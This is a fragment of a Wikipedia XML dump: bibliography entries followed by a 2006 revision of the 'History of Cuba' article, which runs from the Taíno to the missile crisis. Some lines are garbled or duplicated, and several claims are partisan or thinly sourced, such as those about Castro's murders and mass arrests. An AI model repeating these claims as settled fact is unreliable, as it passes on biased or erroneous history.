Encinosa, Enrique G. l989 La Guerra Olvidada Un Libro Historico De Los Combatientes Anticastristas En Cuba (1960-1966). Editorial SIBI, Miami 

Evans, Walker (Photographer), and Andrei Codrescu 2001 Walker Evans: Cuba (Hardcover) J. Paul Getty Trust Publications ISBN 0892366176

Fermoselle, Rafael 1992 Cuban leadership after Castro: Biographies of Cuba's top commanders. North-South Center, University of Miami, Research Institute for Cuban Studies; 2nd ed. 

Fontova,  Humberto 2005 Fidel: Hollywood's Favorite Tyrant. Regnery Publishing Company, Washington DC. ISBN 0895260433

Fuentes, Norberto 2004 La Autobiografia De Fidel Castro Editorial Planeta, Mexico D.F ISBN 8423336042, ISBN 9707490012

George, Edward 2005 The Cuban Intervention In Angola, 1965-1991: From Che Guevara To Cuito Cuanavale. Frank Cass Publishers, London &amp; Portland, Oregon ISBN 0415350158 

Gonzalez, Servando 2002 The Secret Fidel Castro: Deconstructing the Symbol. Spooks Books, U.S.  ISBN 0971139105 ISBN 0971139113

Greene, Graham 1958 Our Man in Havana: Viking ISBN 067053141 laneta, Mexico D.F ISBN 8423336042, ISBN 9707490012

Guevara, Ernesto “Che” (and Waters, Mary Alice editor) 1996 Episodes of the Cuban Revolutionary War 1956-1958. Pathfinder New York (see reference to “El Viscaíno” on page 186). ISBN 0873488245.

Ernesto ‘Che’ Guevara Guerrilla attack on the Barracks de la Plata. In: The Mammoth book of War Stories. Jon. E. Lewis, editor, Carroll &amp; Graf Publishers, New York 1999 Edition Printed and bound in United Kingdom. ISBN 0786706295 pp. 507-512. 

Gutiérrez, Pedro Juan 1998 (Translation 2001) Dirty Havana Trilogy, Faber and Faber, London ISBN 0571206263

Geyer, Georgie Anne 2002 Guerrilla Prince. Andrews McMeel Publishing Kansas City ISBN 0740720643

Kapcia A. 2002. The Siege of the Hotel Nacional, Cuba, 1933: A Reassessment. Journal of Latin American Studies, 34, 283-309.

Kelshall, Gaylord T. M. 1994 The U-Boat War in the Caribbean United States Naval Institute Annapolis Maryland ISBN 1557504520

Kissinger, Henry 2000 Years of renewal. Simon &amp; Schuster ISBN 0684855720

Kost, William E. 2004 Cuban agriculture: to be or not to be organic. Cuba in Transition 14, 274-281.

Lagas, Jacques 1964 Memorias de un capitán rebelde. Editorial del Pácifico. Santiago, Chile.

Lazo, Mario 1968 Dagger in the heart: American policy failures in Cuba. Twin Circle. NewYork

Lazo, Rodrigo 2005 Writing to Cuba Filibustering and Cuban Exiles in the United States. University of North Carolina Press, ISBN 0807855944

Loiret, F; Ortega, E; Kleiner, D; Ortega-Rodes, P; Rodes, R; Dong, Z 2004 A putative new endophytic nitrogen-fixing bacterium Pantoea sp. from sugarcane  J. Appl. Microbiol., 97 (3) 504-511.

Márquez, Nicolás 2004 La otra parte de la verdad. Ediciones de Autor ISBN 9874382678

Márquez-Sterling, Carlos and Manuel 1975, Historia de la Isla de Cuba, Regents Publishing Co., NY, ISBN 0-88345-251-0

Márquez-Sterling, Carlos 1969, Historia de Cuba (desde Cristobal Colon a Fidel Castro), Las Americas Publishing Co., NY  [revision of 1963 original edition]

Marmol, Jose G. 1993 Donato Marmol, Mayor General en la Revolucion del Separatismo Cubano. Editorial Arenas, Miami, pp. 171-174, 191,193-197, 200, 202, 218, 243 ISBN 0918454964 

Martin, Lionel 1978 The Early Fidel: Roots of Castro's Communism Lyle Stuart, Secaucus New Jersey; 1st ed edition ISBN 0818402547 

Martin, Paul Sidney  George L. Quimby and Donald Collier 1947 Indians before Columbus;: Twenty thousand years of North American history revealed by archeology, The University of Chicago press, Chicago Illinois . ASIN B0006AR3AE pp. 40-46. 

Matos, Huber, 2002. Como llego la Noche. Tusquet Editores, SA, Barcelona. ISBN 8483109441

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Jackson, Jeremy



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    </revision>
  </page>
  <page>
    <title>History of Cuba</title>
    <id>5584</id>
    <revision>
      <id>41345862</id>
      <timestamp>2006-02-26T19:16:12Z</timestamp>
      <contributor>
        <username>Buicubano</username>
        <id>995432</id>
      </contributor>
      <comment>/* Communist Cuba */</comment>
      <text xml:space="preserve">==Pre-Columbian Cuba==
The archeological record and evidence from [[mitochondrial DNA]] studies indicate that Cuba and the [[Antilles]] have been inhabited by peoples ancestral to the [[indigenous peoples|indigenous]] inhabitants for at least several thousand years. Some studies ascribe a role to these original inhabitants in the disappearance of the islands' [[megafauna]], including [[condor]]s [http://elibrary.unm.edu/sora/ON/v011n02/p0109-p0122.pdf], giant owls [http://animaldiversity.ummz.umich.edu/site/accounts/information/Strigiformes.html] and eventually groundsloths [http://en.powerwissen.com/2pRNTAz5Rk1ca3+iovh0uA%3D%3D_Ground_sloth.html].

Before 1492 Cuba was populated by at least two distinct [[indigenous peoples]]: [[Taíno]] and [[Ciboney]] (or Siboney) (some consider these populations to be [[neo-Taíno nations]]. These two groups  were [[prehistoric cultures]] in a time period during which humans created tools from stone, yet they were familiar with gold (caona) and copper alloys (guanín) [[Copper Age]].  The Taíno agriculturalist and the Ciboney were a self-sufficient society, although their development was not limited to fishing and hunting, farming and production of wooden structures. Taínos and Ciboney took part in similar customs and beliefs, one being the sacred ritual practiced using, often nasally inhaled, narcotized tobacco vapors and particulates called [[cohoba]], is known in English as smoking.  

The Taino (Island Arawak) were part of a cultural group commonly called the [[Arawak]], which extends far into South America.  The wide diffusion of this culture is witnessed even today by names of places in the New World; for example localities or rivers called Guama (the Taino name for ''Lonchocarpus domingens'', a leguminous tree, the designation of a chief (as in [[Guamá ]] a famous Taino who fought the Spanish) are found in Cuba, Venezuela and Brazil. 

The Arawaks incorporated readily into the successive invading groups and acculturated almost to the point of disappearance.  Residues of their poetry, songs, sculpture, and art are found today throughout the major Antilles.  The Arawak and other such cultural groups are responsible for the development of perhaps 60% of crops in common use today and some major industrial materials such as rubber.  The Europeans were shown by the Native Cubans how to nurture 
[[tobacco]] and consume it in the form of [[cigar]]s.  

Approximately 16 to 60,000, [[Bartolome de las Casas]] estimated 200,000 natives belonging to the Taino and Ciboney nations inhabited Cuba before colonization.  The Native Cuban Indian population, including the Ciboney and the Taíno, were forced in to reservations during the Spanish subjugation of the island of Cuba. Many Natives were put in reservations. One famous reservation was known as Guanabacoa, today a suburb of Havana. Many indigenous Cuban Indians died due to the brutality of Spanish conquistadores and the diseases they brought with them, such as the measles and smallpox, which were previously unknown to Indians.  On the other hand the introduction of smoking and most probably syphilis into Europe as a result of this contact caused uncounted deaths in Europe (Duarte, 1989). Shakespeare's character Caliban is taken by  many to represent a Caribbean Shaman.  Sir Walter Raleigh's execution is said witnessed by his Caribbean servant.  By 1550, many tribes were eradicated.  Many of the Conquistadors intermarried with Native Cuban Indians. Their children were called [[mestizo]]s, but the Native Cubans called them ''Guajiro'', which translates as &quot;one of us&quot;. Today, the descendants are maintaining their heritage.

==Conquest of Cuba==
===Spanish Colonial Cuba===
[[Cuba]] was first visited by [[Europe]]ans when explorer [[Christopher Columbus]] landed on the island of Cuba for the first time on [[October 28]], [[1492]]. Two decades later, Diego Velázquez de Cuéllar led the [[Spain|Spanish]] invasion, and became [[governor of Cuba]] for Spain. 

The Spanish established [[sugar]] and [[tobacco]] as [[Cuba|Cuba's]] primary products. As the native Indian population and the Spanish intermarried and educated, field labor became scarce. Natives from Florida and Bahama were imported as slaves, and as that population became mixed as well, field labor was harder to come by.  African [[Slavery|slaves]] were imported to work the plantations in order to replace the field labor. However, restrictive Spanish trade laws made it difficult for Cubans to keep up with the 17th and 18th century advances in processing [[sugar cane]] pioneered in British [[History of Barbados|Barbados]] and French [[Saint Domingue]] [[Haiti]]. Spain also restricted Cuba's access to the [[slave trade]], which was dominated by the British, French, and Dutch. One important turning point came in the [[Seven Years War]], when the British conquered the port of Havana and introduced thousands of slaves in a ten month period. Another key event was the [[Haitian Revolution]] in nearby Saint-Domingue, from 1791 to 1804. Thousands of French refugees, fleeing the slave rebellion in Saint Domingue, brought slaves and expertise in sugar refining and [[coffee]] growing into eastern Cuba in the 1790 and early 1800s.

In the 1800s, Cuban sugar plantations became the most important world producer of sugar, thanks to the expansion of slavery and a relentless focus on improving the island's sugar technology. Use of modern refining techniques was especially important because the British abolished the slave trade in 1807 and after 1815 began forcing other countries to follow suit. Cubans were torn between the profits generated by sugar and a repugnance for slavery, which they saw as morally, politically, and racially dangerous to their society. By the end of the 19th century Slavery was abolished.

However, leading up to the abolition of slavery, Cuba gained great prosperity from their sugar trade.  The Spanish had ordered regulations on trade with Cuba, which kept the island from becoming a dominant sugar producer.  The Spanish were interested in keeping their trade routes and slave trade routes protected. Nevertheless, Cuba's vast size and abundance of natural resources made it an ideal place for becoming a booming sugar producer.  When Spain opened the Cuban trade ports, it quickly became a popular place.  New technology allowed a much more effective and efficient means of producing sugar. They began to use water mills, enclosed furnaces, and steam engines to produce a higher quality of sugar at a much more efficient pace than elsewhere in the Caribbean.

The boom in Cuba's sugar industry in the 1800's made it necessary for Cuba to improve its means of transportation.  They needed safe and efficient ways to transport the sugar from the plantations to the ports, in order to maximize their returns.  Many new roads were built, and old roads were quickly repaired.  Railroads were built early and changed the way that perishable sugar cane (within one or two days after the cane is cut easily crystalizable sucrose sugar has &quot;inverted&quot; to turn into far less recoverable glucose and fructose sugars)is collected and alling more rapid and effective sugar transp.  It was now possible for plantations all over this large island to have their sugar shipped quickly and easily.  The prosperity seen from the boom in sugar production is a major reason that Cuban ethnicity became further enriched by new influx of Spanish migrants.  Many Spaniards immigrated to Cuba, calling it a place of refuge.

===Sugar Plantations===
Cuba failed to prosper before the 1760s due to Spanish trade regulations. Spain had set up a monopoly in the Caribbean and their primary objective was to protect this. They did not allow the islands to trade with any foreign ships. Spain was primarily interested in the Caribbean for its gold. The crown thought that if the colonies traded with other countries it would itself not benefit from it. This slowed the growth of the Spanish Caribbean. This effect was particularly bad in Cuba because Spain kept a tight grasp on it. It held great strategic importance in the Caribbean. As soon as Spain opened Cuba's ports up to foreign ships a great sugar boom began that lasted until the 1880s. The Island was perfect for growing sugar. It is dominated by rolling plains, with rich soil, and adequate rainfall. It is the largest island in the Caribbean, its relatively low mountains and large plains are suitable for roads, and railroads, and it has the best ports in the area. By 1860 Cuba was devoted to growing sugar. The country had to import all other necessary goods. They were dependent on the United States who bought 82 percent of the sugar. Cubans resented the economic policy Spain implemented in Cuba, which was to help Spain and hurt Cuba. In 1820 Spain abolished the slave trade, hurting the Cuban economy even more and forcing planters to buy more expensive, illegal slaves [http://amistad.mysticseaport.org/discovery/story/havana.html] and trouble some as demonstrated by the events  surrounding the ship [[Amistad (ship)]].  Some Cubans seeking freedom from Spain began to support annexation to join the United States even if it were to be a slave state.  For a time Cuba ports served as bases for ineffective Confederate blockade runner ships [http://www.hazegray.org/danfs/csn/h.txt].  This movement did not end with the [[American civil war]] but was transmuted to seek freedom for both Black and Whites.

==Anti slavery movements and the Conspiración de La Escalera==
In 1812 a mixed race abolitionist conspiracy was organized [[José Antonio Aponte]], a free black carpenter in Havana and others were executed  [http://www.coconutxchange.com/literature/show_item.php?id=50&amp;section_id=1072234946]. 

Cubans began to have an interest in abolishing slavery, and a number of plots and rebellions occurred. One of the most significant was the 'Ladder Conspiracy' ([[Conspiración de La Escalera]]), which occurred circa 1840-1844.  This event, once viewed [http://www.afrocubaweb.com/eugenegodfried/placidoenglish.htm] as an excuse to rid the Island of rebellious abolitionists, is now viewed as a real if frustrated plot (see comments in new translation of Villaverde's &quot;Cecilia Valdés.&quot;).  The Spanish reacted strongly and  many were executed including one of Cuba's greatest poets, [[Gabriel de la Concepción Valdés]] know commonly as &quot;Placido&quot; [http://www.damisela.com/literatura/pais/cuba/autores/placido/]. [[José Antonio Saco]] one of Cuba's foremost thinkers was expelled from Cuba [http://www.cubanet.org/CNews/y03/jun03/18a8.htm].

After the 1868-1878 rebellion [[Ten Years' War]], all slavery was abolished by 1884, making it the second to last country in the Western Hemisphere to abolish slavery (Brazil was the last).

==Minor Wars==
Conspiracy to overthrow the Spanish rule started a little after [[Simon Bolivar]] with support from nominally Mercenary English troops defeated Spain in the [[Battle of Carabobo]] in 1821. Blacks and whites began acting together overthrow slavery and colonial rule. In 1826 the first armed uprising for independence took place in Puerto Príncipe (Camagüey Province), led by [[Francisco de Agüero]] and [[Andrés Manuel Sánchez]]. Agüero (white) and Sánchez (mulato,  of mixed African and European ancestry) were executed, becoming the first martyrs of Cuban independence [http://www.coconutxchange.com/literature/show_item.php?id=50&amp;section_id=1072234946]. 

Perhaps the second most significant military action, to that date, after the English capture of Havana were the landings of [[Narciso Lopez]].

===Cuban Rebels===
Cuba was once perhaps 90% forest. It was still heavily forested at the end of the 19th Century.  Buccaneers [[Alexander Exquemelin]] and Bandits [http://www.tallerdehistoria.com/Html/eBook/Bandolerismo%20en%20Cuba%20I,%20Cap%EDtulo%20IV,%20Los%20bandidos%20de%20la%20tregua%20(II).pdf]
form an important part of Cuban history. [[Jose Marti]] when plotting the 1895-1898 Cuban War of [[Independence from Spain]] fearing the contagion of crime, rejected the most valuable help of Manuel Garcia, the &quot;King&quot; of the Cuban Countryside. Manuel Garcia was killed just before this war started. Batista, apparently feeling the need to rid Oriente Province of those who could support resistance, had Edesio Hernandez killed [http://www.amigospais-guaracabuya.org/oagld001.php].  Crecencio Perez protected [[Fidel Castro]] in the early days in the Sierra Maestra Sierra and was a major factor in the survival of the Castro revolution.

Castillo Ramos, Ruben 1956 Muerto Edesio, El rey de la Sierra Maestra {Edesio The king of the Sierra Maestra Is Dead 1914-1956}
{Photographs by Perez Tamarit and Rudolfo Vasell}, Bohemia XLVIII No. 9 {August 12 1956} pp. 52-54 and 87 

de Paz Sánchez, Manuel Antonio (en colaboración con José Fernández y Nelson López) 1993-1994. El bandolerismo en Cuba (1800-1933). Presencia canaria y protesta rural, Santa Cruz de Tenerife, two , 2 vols.

Perez, Louis A. 1989 Lords of the Mountain: Social Banditry and Peasant Protest in Cuba, 1878-1918 (Pitt Latin American Series) Univ of Pittsburgh Press ISBN: 0822936011

===Independence from Spain===
Cuban independence from Spain was gained by a complex of three larger wars (with the second La Guerra Chiquita overlapping the end of the first [[La Guerra de los Diez Años]] (Ten Years' War) and a number of other actions. On [[10 October]] [[1868]] [[Carlos Manuel de Céspedes]] freed his slaves and thus started the [[Ten Years' War]] when other plantation owners and guajiros joined in the guerrilla fighting in the Eastern regions. However, the Spanish used mistrust among the rebels to reach a settlement on [[10 February]] [[1878]] with the [[Pact of Zanjón]]. After that, [[José Martí]], who was exiled after an attempt to back up the rebels in the West, started campaigning in the [[United States]], where there was a sizeable community of Cuban exiles. In 1880, there was another significant rising, the so called &quot;Guerra Chiquita&quot; but bad coordination between [[Antonio Maceo]] and [[Calixto Garcia]] doomed it to failure.  On [[24 February]] [[1895]] and a little before insurrection was re-started, followed by landings of major Cuban independence fighters near [[Baracoa]], starting the Cuban second major War of Independence, commonly called the War of '95.  Soon, Martí was killed, but Máximo Gomez and Antonio Maceo fought on, defeating the Spanish Governor [[Arsenio Martínez Campos]] victor of the Ten Year War himself and killing his most trusted general at Peralejo, and in a brilliant cavalry campaign invaded all provinces [http://www.spanamwar.com/timeline.htm].  This was the campaign in which [[Winston Churchill]] received a medal from the Spanish [http://www.spanamwar.com/timeline.htm].  Maceo was killed in Havana province while returning from the west [http://www.spanamwar.com/maceodeath.htm], but Calixto Garcia, escaped Spain and soon was at it again, taking Spanish strongholds with cannon and infantry.  As the war went on the major limit to Cuban success was weapons supply.  Although the weapons and funding come from within the US, strangely enough the major obstacle was the US Coast Guard: of 71 re-supply missions only 27 got through, 5 were stopped by the Spanish but 33 by the US Coast Guard [http://www.spanamwar.com/chadwickcoastguard.htm].

Riots in Havana by rowdy pro-Spanish &quot;Voluntarios&quot; gave the United States a reason to send in the warship ''[[USS Maine (ACR-1)|USS Maine]]'' to protect U.S. citizens. When the ship blew up on [[15 February]] [[1898]], the United States, alleging that it had been deliberately destroyed by the Spanish, declared war.  Various theories have been proposed for how the ship was sunk, with the two principal ones being an internal explosion sparked by a coal bunker fire, and an external mine, said to have been planted either by the Spanish (who commonly used these devices as protection for their ports), the Cubans, or the United States (to create an excuse to enter the war).  No conclusive evidence has been found to determine the cause of the ship's sinking.  

Ultimately, the [[Spanish-American War]] led directly not only to Cuban independence from Spain, but also to the loss by Spain of [[Guam]], [[Puerto Rico]], and the [[Philippines]] to U.S. control. On [[17 July]] [[1898]] the Spanish surrendered and on [[10 December]] [[1898]] they signed the [[Treaty of Paris (1898)|Treaty of Paris]] in which Spain recognized Cuban independence, albeit with considerable U.S. control, which was resented by the Cubans.

==Cuba in the Early 20th Century==
In [[1902]], the United States handed over control to a Cuban government that as a condition of the transfer had included in its constitution provisions implementing the requirements of the [[Platt Amendment]], which among other things gave the United States the right to intervene militarily in Cuba. Land that was in ruins was acquired by U.S. investors, leading to the United States soon controlling three-quarters of the Cuban sugar, the main basis for the Cuban economy. [[Havana]] and [[Varadero]] became tourist resorts, riddled with casinos and strip-clubs. The Cuban population gradually recovered economic power from both Spanish and U.S. interests, and civil rights legislation against discrimination was enacted that ordered minimum employment quotas for Cubans.

President [[Tomás Estrada Palma]] was elected in 1902, and Cuba declared independent; however as part of the Platt Amendment, [[Guantanamo Bay]] was leased to the United States, however, the status of the [[Isle of Pines]] as Cuban territory was left undefined.  Estrada Palma, a frugal man, governed successfully for his four year term; yet when he tried to extend his time in office, a revolt ensued. In 1906 the United States representative [[William Howard Taft]], notably with the personal diplomacy of [[Frederick Funston]] negotiated an end of the successful revolt led by able  young general [[Enrique Loynaz del Castillo]] [http://www.spanamwar.com/delcastillo.htm], who had served under Antonio Maceo in the final war of independence.  Estrada Palma resigned.  The United States Governor [[Charles Magoon]] [http://library.thinkquest.org/18355/charles_magoon.html] assumed temporary control until 1909.  In this period in the area of Manzanillo, Agustín Martín Veloz, [[Blas Roca]], and Francisco (Paquito) Rosales founded the embryonic [[Cuban Communist Party]] [http://www.cnctv.cubasi.cu/manzanillo.php].

For three decades, the country was led by former War of Independence leaders [[List of Presidents of Cuba]], who after being elected did not serve more than two constitutional terms. The Cuban presidential succession: [[José Miguel Gómez]] (1908-1912); [[Mario Garcia Menocal]] (1913 to 1920); [[Alfredo Zayas]] (1921-25) [http://www.latinamericanstudies.org/zayas-bio.htm].  The Castro government would later describe this period as a &quot;pseudo-republic.&quot;

President [[Gerardo Machado]] was elected by popular vote in 1925, but he was constitutionally barred from reelection.  Also in 1925, Abraham Semjovitch, code name Fabio Grobart [http://www.granma.cubaweb.cu/2005/08/31/nacional/articulo01.html], [http://www.cartadecuba.org/castro_el_infiel.htm] a Kremlin Agent helps formally link the Cuban Communist Party to the Communist International  [http://www.cyberpresse.ca/monde/article/article_complet.php?path=/monde/article/16/1,151,1062,082005,1133013.shtml] PCC.  Machado, who determined to modernize Cuba set in motion a massive civil works with projects as the Central Highway, but at the end of his constitutional term held on to power; the United States, despite the Platt Amendment decided not to interfere militarily. The communists of the PCC did very little to resist Machado in his dictator phase; however, practically everybody else did. In the late 1920s and early 1933s a number of Cuban action groups, including some Mambí, staged a series of uprisings that either failed or did not affect the Capital. After much complex rebellion Machado was asked to leave by the Cuban Army and senior Cuban Civil Leaders in 1933 (ISBN 1593880472).  After Machado was deposed there was a confused short interregnum.

[[Image:Fulgencio Batista.jpg|thumb|left|Fulgencio Batista, [[Cuba|Cuban]] [[dictator]].]]About six months later still in September 1933 there was a successful enlisted man and non-commissioned officer mutiny, taking the lower ranks of the Cuban Army to power. A key figure in the process was [[Fulgencio Batista]], an army sergeant holding a key post as a telegraph officer. Then Batista with his straight Taíno hair and very dark skin, often lightened in later photographs, was known at &quot;El Mulato Lindo;&quot; he was probably the first noticeably colored ruler of Cuba since the Spanish conquest. He gradually assumed total command. As this revolutionary process, and because it would limit Batista’s power, the Platt Amendment was repealed.  Still, American pressure forced Cuba to reaffirm the agreement which was imposed on the country in 1903 which leased the [[Guantanamo Bay]] naval base to the United States for a nominal sum, under terms which many Cubans at the time found (and some still find) objectionable and colonialistic.  

To consolidate power, Batista heavy handedly suppressed a series of revolts. Notable at that of Blas Hernandez at the Atares Castle that of the regular army officers at the Hotel Nacional [http://journals.cambridge.org/download.php?file=%2FLAS%2FLAS34_02%2FS0022216X02006405a.pdf&amp;code=845340c7d21785f6417e3dfa463249ff].  With encouragement from U.S. Ambassador [[Sumner Welles]], he separated the Cuban military from the student-labor component of the new revolutionary government, and as army of chief of staff became the country's ''de facto'' leader behind a series of puppet presidents. In 1940, he became the country's official president in an election which many people considered to be rigged. During his tenure, he implemented several [[progressivism|progressive]] policies regarding welfare and unemployment. Batista was voted out of office in [[1944]]. 

He was succeeded by Dr. [[Ramón Grau San Martín]], a populist physician who had briefly held the presidency in the 1933 revolutionary process.  President Grau passed a number of populist measures favoring workers and also had been instrumental in passing the 1940 Constitution, which has been widely regarded as one of the most progressive ever written in terms of worker protection and human rights. 

Grau was followed by [[Carlos Prío Socarrás]], also elected democratically, but whose government was tainted by increasing corruption and violent incidents among political factions.  [[Fidel Castro]] appears on the public scene at the University of Havana, as a student-gangster, one of the &quot;trigger happy boys&quot; (los muchachos del gatillo alegre)[[Enrique Ros]] and is widely believed responsible for several murders.  [[Eduardo Chibás]] was the leader of the [[Partido Ortodoxo]] (Orthodox Party), a liberal democratic group, who was widely expected to win in 1952 on an anticorruption platform. Chibás, entangled in an accusation that proved false, committed suicide before he could run for the presidency, and the opposition was left without its major leader.

Taking advantage of the opportunity, Batista, who was running for president in the 1952 elections, but had only a small minority of votes, seized power in an almost bloodless coup three months before the election was to take place. President Prío did nothing to stop the coup, and therefore was forced to leave the island. Due to the corruption of the past two administrations, the general public reaction to the coup was somewhat accepting at first. However, Batista soon encountered stiff opposition when he suspended the balloting and the constitution, beginning to rule by decree. After a very promising start in his first (elected) term his policy was now very hard on the people and discontentment grew.

==The Cuban Revolution== 
&lt;div id=&quot;CubanRevolution&quot;&gt;&lt;/div&gt;
[[Fidel Castro]], a young lawyer from a wealthy family, who was running for a seat in the Chamber of Representatives for the Partido Ortodoxo, circulated a petition to depose Batista's government on the grounds that it had illegitimately suspended the electoral process. However, the petition was not acted upon by the courts.

On [[July 26]], [[1953]] Castro led a historical attack on the [[Moncada Barracks]] near [[Santiago de Cuba]], but failed and was jailed until 1955, when amnesty was given to many political prisoners, including the ones that assaulted the Moncada barracks. Castro subsequently went into exile in Mexico. While in Mexico, he organized the [[26th of July Movement]] with the goal of overthrowing Batista.  A group of over 80 men sailed to Cuba on board the yacht &quot;[[Granma]]&quot;, landing in the eastern part of the island in December 1956. Despite a pre-landing rising in Santiago by Frank Pais and his followers of the urban pro-Castro movement, most of Castro's men were promptly killed, dispersed  or taken prisoner by Batista's forces. Castro managed to escape to the [[Sierra Maestra]] mountains with about 12-17 effectives, aided by the urban and rural opposition, including Celia Sanchez and the bandits of Cresencio Perez's family, he began a guerrilla campaign against the regime.  Castro's main forces supported by numerous poorly armed escopeteros, and with support from the well armed fighters of the Frank Pais urban organization who at times went to the mountains the rebel army grew more and more effective.  The country was soon driven to chaos [http://www.holycross.edu/departments/history/alauria/revoltrevolution/cuba%20chronology.htm], particularly by a very effective sabotage and urban warfare campaign conducted in the cities by diverse groups of the anti-Batista resistance and notably a bloody crushed rising by the Batista Navy personnel in Cienfuegos.  At the same time rival guerrilla groups in the Escambray Mountains also grew more and more effective. 

Faced with a corrupt and ineffective military, dispirited by a U.S. Government embargo on weapons sales to Cuba and public indignation and revulsion at his brutality toward opponents, Batista fled on [[January 1]], [[1959]]. Within months of taking control, Castro moved to consolidate power by marginalizing other resistance groups and figures and imprisoning or executing opponents and former supporters. As the revolution became more radical, many hundreds of thousands of Cubans fled the island. 

In July 1961, the '''Integrated Revolutionary Organizations''' (ORI) was formed by the merger of Fidel Castro's '''26th of July Revolutionary Movement''', the '''People's Socialist Party''' (the old Communist Party) led by [[Blas Roca]] and the '''Revolutionary Directory March 13th''' led by [[Faure Chomón]]. On March 26, 1962 the ORI became the '''United Party of the Cuban Socialist Revolution''' (PURSC) which, in turn, became the [[Communist Party of Cuba]] on October 3, 1965 with Castro as [[First Secretary]].  

''See also:'' [[Cuban Revolution]]

==Communist Cuba==
Relations between the United States and Cuba deteriorated rapidly as the Cuban government, in reaction to the U.S refusal to refine Soviet oil in refineries located in Cuba, expropriated U.S. properties, notably those belonging to the [[ITT|International Telephone and Telegraph Company]] (ITT) and the [[United Fruit Company]]. This was in line with Castro's anti-U.S. ideologies used to gain support at home and abroad. In the Castro government's first agrarian reform law on [[May 17]], 1959 it sought to limit the size of land holdings, and to distribute that land to agricultural workers in &quot;Vital Minimum&quot; tracts. In compensation, the Cuban government offered to pay the landholders based on the tax assessment values for the land, in reality little or no compensation was paid. Reasons for this include that actual payment would be with twenty-year bonds paying 4.5% interest (instead of the then U.S. investment grade corporate bond rate of 3.8%). Landholders from most other countries settled on this basis. The problem was with the tax assessed values. Most of the large landholdings had been acquired in the 1920 period when world sugar prices were depressed, and the land could be bought at bargain-basement prices. In the intervening period, former Cuban governments friendly to these interests had kept these bargain prices as the basis for calculating property taxes, thus insuring that those taxes would be kept low. However, as Castro's control of the island's assets tightened and more nationalization campaigns took place, promises such as these were not honored.

In response to the seizure of American properties and the increased repression carried out by Castro's government on the people, the U.S. broke diplomatic relations on [[January 3]], [[1961]] and imposed the [[U.S. embargo against Cuba]] on [[February 3]] [[1962]]. The embargo is still in effect [[as of 2006]], although some humanitarian trade in food and medicines is now allowed. At first, the embargo didn't extend to other countries and Cuba trades with most European, Asian and Latin American countries and especially Canada. But now the United States pressures other nations and U.S. companies with foreign subsidiaries to restrict trade with Cuba. This hinders Castro's historic argument of blaming the United States for Cuba's grave economic situation. Then again, due to Cuba's location, such trade is hindered by high transportation costs. Also, the Helms-Burton Act of 1996 makes it very difficult for companies that do business with Cuba to also do business in the United States, effectively forcing internationals to choose between the two. Another consideration here is that Cuba already was a very poor country in 1959 and hardly any poor countries, capitalist or socialist, have managed to escape poverty in the 20th century, so political orientation can't be conclusively said to be the determining factor.

The establishment of a Marxist system in Cuba led to the fleeing of many hundreds of thousands of Cuban exiles to the United States and various other countries since Castro's rise to power. One major exception to the embargo was made on [[November 6]], [[1965]] when Cuba and the United States formally agreed to start an airlift for Cubans who wanted to go to the United States. By [[1971]] these so-called [[Freedom Flights]] took 250,000 Cubans to the United States. Currently, there is an immigration lottery allowing 20,000 Cubans seeking political asylum to go to the United States legally every year.  Perhaps a thousand or more take the terrible risks of escaping by sea.

=== Bay of Pigs Invasion ===
''Main article: [[Bay of Pigs Invasion]]''

The United States then sponsored an unsuccessful attack on Cuba, using conservative political groups as the main source of support. The attack began on [[April 15]], [[1961]], when exiles, flying planes provided by the United States bombed several Cuban air force bases. This attack did not succeed in destroying all of Castro's air force.  In response, Castro declared Cuba a [[socialism|socialist]] state in a speech on [[April 16]], [[1961]]. 

On [[April 17]], [[1961]], a force of  about 1,500 Cuban exiles, financed and trained by the [[CIA]], landed in the south during the [[Bay of Pigs Invasion]]. The CIA's assumption was that the invasion would spark a popular rising against Castro. Castro's forces were forewarned of the invasion and had arrested hundreds of thousands of suspected &quot;subversives,&quot; before the invasion landed (Priestland, 2003).  Castro executed high level defectors from his own ranks notably William Morgan and Sori Marin [http://educationforum.ipbhost.com/index.php?showtopic=3103]. There was no popular uprising. Most of the invasion force made it ashore, however all their supplies did not, despite some initial advances in which thousands of Castro militia died was quickly defeated as President [[John F. Kennedy|Kennedy]] did not allow the US Navy already on site to provide the air support he had promised. Many believe that the invasion, instead of weakening Castro, actually helped him consolidate his grip on power. 

For the next 30 years, Castro pursued closer relations with the [[Soviet Union]] until its demise in [[1991]]. Castro cast a big shadow in the Cold War.  Castro’s enemies often died mysterious violent deaths.  [[Castro-directed overt and covert operations]] were undertaken throughout much of the world. 

The [[Organization of American States]], under pressure from the United States, suspended Cuba's membership in the body on [[January 22]], [[1962]] and the [[United States Government|U.S. Government]] banned all U.S-Cuban trade a couple of weeks later on [[February 7]]. The Kennedy administration extended this on [[February 8]], [[1963]] making travel, financial and commercial transactions by U.S. citizens to Cuba illegal.


Priestland, Jane (editor) 2003 British Archives on Cuba: Cuba under Castro 1959-1962. Archival Publications International Limited, 2003, London ISBN 1903008204

=== The Cuban Missile Crisis ===
''Main article: [[Cuban missile crisis]]''

Tensions between the two governments peaked again during the October 1962 [[Cuban missile crisis]]. The United States had a much stronger arsenal of long-range nuclear weapons than the Soviet Union, as well as some medium-range ballistic missiles ([[MRBM]]s) in Turkey, whereas the Soviet Union had a large stockpile of medium-range nuclear weapons which were primarily located in Europe. Cuba agreed to let the Soviets secretly place MRBMs on their territory. Reports from inside Cuba to exile sources questioned the need for large amounts of ice going to rural areas &lt;!-- apparently the ships were reported as carrying ice?  need source --&gt;, and such lead to the discovery of the missiles, which was confirmed by U-2 flights. When the United States saw what was happening they put up a cordon in international waters to stop Soviet ships from bringing in any more missiles (named a [[quarantine]] rather than a [[blockade]] to avoid issues with [[international law]]). At the same time, Castro was getting a little too fanatic for the liking of Moscow, so, at the last moment, the Soviets decided to call back the ships. In addition, they agreed to remove the missiles that were already placed, in exchange for an agreement that the United States would not invade Cuba. Only after the fall of the Soviet Union it came out that another part of the agreement was the removal of the missiles in Turkey. It also turned out that some submarines that the U.S. Navy blocked were carrying nuclear missiles and that communication with Moscow was scarce, effectively leaving the decision of firing the missiles at the discretion of the captains of those submarines.

